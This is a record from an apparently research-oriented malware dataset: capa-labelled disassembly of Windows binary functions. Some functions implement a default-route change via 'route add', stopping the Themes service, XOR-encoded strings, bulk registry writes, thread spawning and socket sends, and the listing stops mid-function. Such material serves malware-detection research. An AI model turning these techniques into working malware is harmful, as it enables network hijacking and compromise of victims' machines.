joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400116e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1409efcd4]
test esi, esi
mov rdi, rcx
mov rbp, rdx
mov rbx, r8
jle 0x140011870
mov rax, qword [0x1409efcd8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rdi, rdx
jb 0x14001172c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rdi, rdx
jb 0x1400117b5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x140011710
mov rcx, rdi
call fcn.140012240
test rax, rax
mov r12, rax
je 0x1400118c2
mov rax, qword [0x1409efcd8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.140012380
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1409efcd8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400118a5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400117ae
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140011820
add dword [0x1409efcd4], 1
cmp ebx, 8
jae 0x1400117e1
test bl, 4
jne 0x140011880
test ebx, ebx
je 0x1400117d6
movzx eax, byte [rbp]
test bl, 2
mov byte [rdi], al
jne 0x140011894
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, ebx
sub ebx, 1
mov rdx, qword [rbp + rax - 8]
cmp ebx, 8
mov qword [rdi + rax - 8], rdx
jb 0x1400117d6
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, ebx
mov qword [rdi + rdx], rcx
jb 0x1400117fa
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov r8d, 4
mov eax, 0x40
mov rcx, qword [rsp + 0x20]
cmovne r8d, eax
mov rdx, qword [rsp + 0x38]
add rsi, qword [0x1409efcd8]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400117ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140011670
xor esi, esi
jmp 0x140011737
mov eax, dword [rbp]
mov ebx, ebx
mov dword [rdi], eax
mov eax, dword [rbp + rbx - 4]
mov dword [rdi + rbx - 4], eax
jmp 0x1400117d6
mov ebx, ebx
movzx eax, word [rbp + rbx - 2]
mov word [rdi + rbx - 2], ax
jmp 0x1400117d6
mov rax, qword [0x1409efcd8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.140011670
lea rcx, str.Address__p_has_no_image_section
mov rdx, rdi
call fcn.140011670
nop
nop dword [rax]
nop word cs:[rax + rax]
Function at 0x140011e90
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1409efd40]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1409efd20]
test rbx, rbx
je 0x140011ee4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140011edb
test rsi, rsi
je 0x140011edb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140011ec0
lea rcx, [0x1409efd40]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140012240
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1409e9670]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x1400122af
mov rcx, r9
call fcn.140012110
test eax, eax
je 0x1400122af
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x1400122ad
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x1400122a4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400122af
add rdx, 0x28
cmp rdx, r9
jne 0x140012290
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x14001c730
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1409e4240]
jmp 0x140013070

Function at 0x14001c740
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1409e4240]
jmp 0x140013070
Function at 0x180001000
Capabilities:
Get routing table

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r15
sub rsp, 0x1c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
xor ebx, ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r8d, [rbx + 0x3c]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
cmp rax, rbx
je 0x18000119e
lea rdx, [rsp + 0x20]
xor r8d, r8d
mov rcx, rax
call sub.IPHLPAPI.DLL_GetIpForwardTable
cmp eax, 0x7a
jne 0x1800010a6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
cmp rax, rbx
je 0x18000119e
lea rdx, [rsp + 0x20]
xor r8d, r8d
mov rcx, rbp
call sub.IPHLPAPI.DLL_GetIpForwardTable
cmp eax, ebx
jne 0x18000118a
cmp dword [rbp], ebx
mov r12d, ebx
jle 0x18000118a
lea r13, [rbp + 8]
mov r15d, 0x80
mov ecx, dword [r13 - 4]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0x30]
mov rdx, r15
mov r8, rax
call qword [sym.imp.MSVCR90.dll_strcpy_s]
mov ecx, dword [r13]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0xb0]
mov rdx, r15
mov r8, rax
call qword [sym.imp.MSVCR90.dll_strcpy_s]
mov ecx, dword [r13 + 8]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0x130]
mov rdx, r15
mov r8, rax
call qword [sym.imp.MSVCR90.dll_strcpy_s]
lea rsi, [rsp + 0x30]
lea rdi, str.0.0.0.0
mov ecx, 8
repe cmpsb byte [rsi], byte [rdi]
jne 0x180001158
lea rsi, [rsp + 0xb0]
lea rdi, str.0.0.0.0
mov ecx, 8
repe cmpsb byte [rsi], byte [rdi]
je 0x18000116a
inc r12d
add r13, 0x38
cmp r12d, dword [rbp]
jge 0x18000118a
jmp 0x1800010d4
mov rcx, rbx
mov al, byte [rsp + rcx + 0x130]
lea rdx, [0x180007b38]
mov byte [rcx + rdx], al
inc rcx
cmp al, bl
jne 0x18000116d
mov ebx, 1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.1800047b0
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r13
pop r12
ret
Function at 0x1800011d4
Capabilities:
Initialize winsock library
Print debug messages

Disassembly:
sub rsp, 0x1d8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
test edx, edx
je 0x180001293
cmp edx, 1
jne 0x1800012b3
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1800012b3
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x180007af8], rax
test rax, rax
je 0x1800012b3
lea rcx, str.winsystem_message_Ok.
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x18000124d
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
call section..text
test eax, eax
je 0x180001242
lea rcx, [0x180007b60]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea r8, [0x180007b38]
lea rdx, str._c_route_add_0.0.0.0_mask_0.0.0.0__s
lea rcx, [0x180007b60]
call qword [sym.imp.MSVCR90.dll_sprintf]
call fcn.180001cd8
mov byte [str.SOFTWARE_test], 0
jmp 0x1800012b3
mov rcx, qword [0x180007af8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x1800079d8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1800047b0
add rsp, 0x1d8
ret

Function at 0x1800012d0
Capabilities:
Stop service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
lea rdx, str.Themes
mov r8d, 0xf01ff
mov rcx, rax
mov rsi, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebp, 1
lea r8, [rsp + 0x20]
mov rcx, rax
mov edx, ebp
mov rdi, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
lea ebx, [rbp + 0x1c]
lea r8, [rsp + 0x20]
mov edx, 4
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x180001357
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rsp + 0x24]
cmp eax, 0x426
cmove ecx, ebp
mov dword [rsp + 0x24], ecx
jmp 0x18000135b
mov ecx, dword [rsp + 0x24]
cmp ecx, ebp
je 0x18000136f
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
add ebx, 0xffffffff
jne 0x180001328
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x180001398
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x160
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbp, rcx
xor ebx, ebx
xor edx, edx
lea ecx, [rbx + 0xf]
mov dword [rsp + 0x20], 0x130
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rsi, rax
call sub.KERNEL32.dll_Process32First
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x4c]
repne scasb al, byte [rdi]
not rcx
dec rcx
movsxd rdx, ecx
test ecx, ecx
jle 0x18000141f
mov cl, byte [rsp + rax + 0x4c]
cmp cl, 0x41
jl 0x180001417
cmp cl, 0x5f
jg 0x180001417
add cl, 0x20
mov byte [rsp + rax + 0x4c], cl
inc rax
cmp rax, rdx
jl 0x180001402
lea rax, [rsp + 0x4c]
mov rdx, rbp
sub rdx, rax
movzx ecx, byte [rax]
movzx edi, byte [rax + rdx]
sub ecx, edi
jne 0x18000143c
inc rax
test edi, edi
jne 0x18000142a
test ecx, ecx
je 0x180001453
lea rdx, [rsp + 0x20]
mov rcx, rsi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x180001462
jmp 0x1800013e8
mov eax, dword [rsp + 0x28]
mov ebx, 1
mov dword [0x180007ce0], eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [0x180007ce4], 0
mov eax, ebx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1800047b0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180001cd8
Capabilities:
Create thread
Encode data using xor

Disassembly:
push rbx
push rdi
sub rsp, 0x48
xor ecx, ecx
call qword [sym.imp.MSVCR90.dll__time64]
mov rcx, rax
call qword [sym.imp.MSVCR90.dll_srand]
mov edi, 4
call qword [sym.imp.MSVCR90.dll_rand]
sub rdi, 1
jne 0x180001cf5
call qword [sym.imp.MSVCR90.dll_rand]
mov ebx, eax
imul ebx, ebx, 0x1d
call qword [sym.imp.MSVCR90.dll_rand]
add ebx, eax
mov eax, 0x431bde83
imul ebx
mov eax, 0xf4240
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0xf4240
sub ebx, edx
cmp ebx, eax
jl 0x180001d38
sub ebx, eax
cmp ebx, 0x186a0
jge 0x180001d4d
call qword [sym.imp.MSVCR90.dll_rand]
lea ebx, [rbx + rax + 0x186a0]
mov dword [0x180007aac], ebx
call fcn.1800029d8
mov rcx, qword [0x180007af8]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
or rcx, 0xffffffffffffffff
xor eax, eax
xor ebx, ebx
lea r8, str.22925:_6AA8__E
mov rdi, r8
repne scasb al, byte [rdi]
not rcx
lea rdi, [rcx - 1]
mov ecx, ebx
cmp edi, ebx
jle 0x180001da1
mov eax, ecx
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, cl
inc ecx
sub byte [r8], al
inc r8
cmp ecx, edi
jl 0x180001d89
mov rcx, qword [0x180007af8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call fcn.180001ed4
lea rdx, [0x1800079d8]
mov qword [rsp + 0x20], rdx
lea rdx, [0x180007b00]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rdx, [rsp + 0x60]
lea r8, [0x180002bc8]
mov qword [rsp + 0x28], rdx
xor r9d, r9d
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp rax, rbx
je 0x180001e0c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x68]
lea r8, [0x1800018cc]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp rax, rbx
je 0x180001e3c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x70]
lea r8, [0x18000324c]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp rax, rbx
je 0x180001e6c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x78]
lea r8, [0x1800038f0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp rax, rbx
je 0x180001e9c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x30]
lea r8, [0x180003f7c]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp rax, rbx
je 0x180001ecc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x48
pop rdi
pop rbx
ret
Function at 0x180002520
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov dword [0x180007b58], ecx
mov dword [rsp + 0x40], ecx
mov rcx, qword [0x1800079d8]
lea rax, [rsp + 0x40]
mov r9d, 4
lea rdx, [0x18000729c]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add rsp, 0x38
ret

Function at 0x180002560
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov dword [0x180007c64], ecx
mov dword [rsp + 0x40], ecx
mov rcx, qword [0x1800079d8]
lea rax, [rsp + 0x40]
mov r9d, 4
lea rdx, [0x1800072a4]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add rsp, 0x38
ret

Function at 0x1800025a0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov dword [0x180007c68], ecx
mov dword [rsp + 0x40], ecx
mov rcx, qword [0x1800079d8]
lea rax, [rsp + 0x40]
mov r9d, 4
lea rdx, [0x1800072a8]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add rsp, 0x38
ret

Function at 0x1800025e0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov dword [0x180007c6c], ecx
mov dword [rsp + 0x40], ecx
mov rcx, qword [0x1800079d8]
lea rax, [rsp + 0x40]
mov r9d, 4
lea rdx, [0x1800072ac]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add rsp, 0x38
ret

Function at 0x180002620
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov dword [0x180007c70], ecx
mov dword [rsp + 0x40], ecx
mov rcx, qword [0x1800079d8]
lea rax, [rsp + 0x40]
mov r9d, 4
lea rdx, [0x1800072b0]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add rsp, 0x38
ret

Function at 0x180002660
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
mov r8, rcx
test ecx, ecx
jle 0x1800026fa
lea r10, [0x180007c98]
mov rdx, rbx
mov rdi, r10
sub rdi, rbx
mov al, byte [rdx]
mov byte [rdi + rdx], al
inc rdx
test al, al
jne 0x180002695
xor ecx, ecx
test r8d, r8d
jle 0x1800026c4
mov r9, r10
mov eax, ecx
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, cl
inc ecx
add byte [r9], al
inc r9
cmp ecx, r8d
jl 0x1800026ab
mov rcx, qword [0x1800079d8]
lea eax, [r8 + 1]
lea rdx, [0x1800072b4]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], r10
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov al, byte [rbx]
mov byte [rdi + rbx], al
inc rbx
test al, al
jne 0x1800026ee
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x180002708
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov dword [0x180007c78], ecx
mov dword [rsp + 0x40], ecx
mov rcx, qword [0x1800079d8]
lea rax, [rsp + 0x40]
mov r9d, 4
lea rdx, [0x1800072c0]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add rsp, 0x38
ret
Function at 0x180002748
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov dword [0x180007c7c], ecx
mov dword [rsp + 0x40], ecx
mov rcx, qword [0x1800079d8]
lea rax, [rsp + 0x40]
mov r9d, 4
lea rdx, [0x1800072c4]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add rsp, 0x38
ret

Function at 0x180002788
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov dword [0x180007c80], ecx
mov dword [rsp + 0x40], ecx
mov rcx, qword [0x1800079d8]
lea rax, [rsp + 0x40]
mov r9d, 4
lea rdx, [0x1800072c8]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add rsp, 0x38
ret

Function at 0x1800027c8
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
mov r8, rcx
test ecx, ecx
jle 0x180002862
lea r10, [0x180007ca8]
mov rdx, rbx
mov rdi, r10
sub rdi, rbx
mov al, byte [rdx]
mov byte [rdi + rdx], al
inc rdx
test al, al
jne 0x1800027fd
xor ecx, ecx
test r8d, r8d
jle 0x18000282c
mov r9, r10
mov eax, ecx
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, cl
inc ecx
add byte [r9], al
inc r9
cmp ecx, r8d
jl 0x180002813
mov rcx, qword [0x1800079d8]
lea eax, [r8 + 1]
lea rdx, [0x1800072cc]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], r10
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov al, byte [rbx]
mov byte [rdi + rbx], al
inc rbx
test al, al
jne 0x180002856
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x180002870
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov dword [0x180007c88], ecx
mov dword [rsp + 0x40], ecx
mov rcx, qword [0x1800079d8]
lea rax, [rsp + 0x40]
mov r9d, 4
lea rdx, [0x1800072d8]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add rsp, 0x38
ret

Function at 0x1800028b0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov dword [0x180007c8c], ecx
mov dword [rsp + 0x40], ecx
mov rcx, qword [0x1800079d8]
lea rax, [rsp + 0x40]
mov r9d, 4
lea rdx, [0x1800072dc]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add rsp, 0x38
ret

Function at 0x1800028f0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov dword [0x180007c90], ecx
mov dword [rsp + 0x40], ecx
mov rcx, qword [0x1800079d8]
lea rax, [rsp + 0x40]
mov r9d, 4
lea rdx, [0x1800072e0]
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
add rsp, 0x38
ret
Function at 0x180002930
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
mov r8, rcx
test ecx, ecx
jle 0x1800029ca
lea r10, [0x180007cb8]
mov rdx, rbx
mov rdi, r10
sub rdi, rbx
mov al, byte [rdx]
mov byte [rdi + rdx], al
inc rdx
test al, al
jne 0x180002965
xor ecx, ecx
test r8d, r8d
jle 0x180002994
mov r9, r10
mov eax, ecx
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, cl
inc ecx
add byte [r9], al
inc r9
cmp ecx, r8d
jl 0x18000297b
mov rcx, qword [0x1800079d8]
lea eax, [r8 + 1]
lea rdx, [0x1800072e4]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], r10
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov al, byte [rbx]
mov byte [rdi + rbx], al
inc rbx
test al, al
jne 0x1800029be
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x1800029d8
Capabilities:
Set registry value

Disassembly:
push rsi
sub rsp, 0x30
and dword [0x180007c94], 0
xor ecx, ecx
call fcn.180002520
mov rcx, qword [0x1800079d8]
and dword [0x180007b5c], 0
and dword [rsp + 0x40], 0
mov esi, 4
lea rax, [rsp + 0x40]
lea rdx, [0x1800072a0]
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ecx, ecx
call fcn.180002560
xor ecx, ecx
call fcn.1800025a0
xor ecx, ecx
call fcn.1800025e0
xor ecx, ecx
call fcn.180002620
lea rcx, [0x1800063f0]
call fcn.180002660
mov rcx, qword [0x1800079d8]
lea rax, [0x180007af4]
lea rdx, [0x1800072b8]
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov dword [0x180007af4], 0x37f1
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [0x1800079d8]
and dword [0x180007c74], 0
and dword [rsp + 0x40], 0
lea rax, [rsp + 0x40]
lea rdx, [0x1800072bc]
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ecx, ecx
call fcn.180002708
xor ecx, ecx
call fcn.180002748
xor ecx, ecx
call fcn.180002788
lea rcx, [0x1800063f0]
call fcn.1800027c8
mov rcx, qword [0x1800079d8]
lea rax, [0x180007aa8]
lea rdx, [0x1800072d0]
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov dword [0x180007aa8], 0x37f1
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [0x1800079d8]
and dword [0x180007c84], 0
and dword [rsp + 0x40], 0
lea rax, [rsp + 0x40]
lea rdx, [0x1800072d4]
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ecx, ecx
call fcn.180002870
xor ecx, ecx
call fcn.1800028b0
xor ecx, ecx
call fcn.1800028f0
lea rcx, [0x1800063f0]
call fcn.180002930
mov dword [0x180007b34], 0x37f1
mov dword [rsp + 0x28], esi
lea rax, [0x180007b34]
mov rcx, qword [0x1800079d8]
lea rdx, [0x1800072e8]
mov r9d, esi
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea r8d, [rsi + 0x2e]
lea rcx, [0x180007ab0]
xor edx, edx
call sub.MSVCR90.dll_memset
and dword [0x180007ae4], 0
and dword [0x180007ae8], 0
and dword [0x180007aec], 0
and dword [0x180007af0], 0
add rsp, 0x30
pop rsi
ret
Function at 0x180004648
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x80
mov r12, rcx
mov rcx, qword [0x180007af8]
mov rdi, rdx
or edx, 0xffffffff
mov ebx, r8d
mov esi, 1
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call qword [sym.imp.WS2_32.dll_WSACreateEvent]
lea r8d, [rsi + 0x1f]
lea rcx, [rsp + 0x60]
xor edx, edx
mov rbp, rax
mov qword [rsp + 0x50], rax
call sub.MSVCR90.dll_memset
mov dword [rsp + 0x40], ebx
xor ebx, ebx
mov qword [rsp + 0x78], rbp
mov qword [rsp + 0x48], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0xb0]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x40]
mov r8d, esi
mov rcx, r12
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WS2_32.dll_WSASend]
cmp eax, 0xffffffff
jne 0x1800046e7
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
jne 0x180004750
lea rdx, [rsp + 0x50]
or r9d, 0xffffffff
xor r8d, r8d
mov ecx, esi
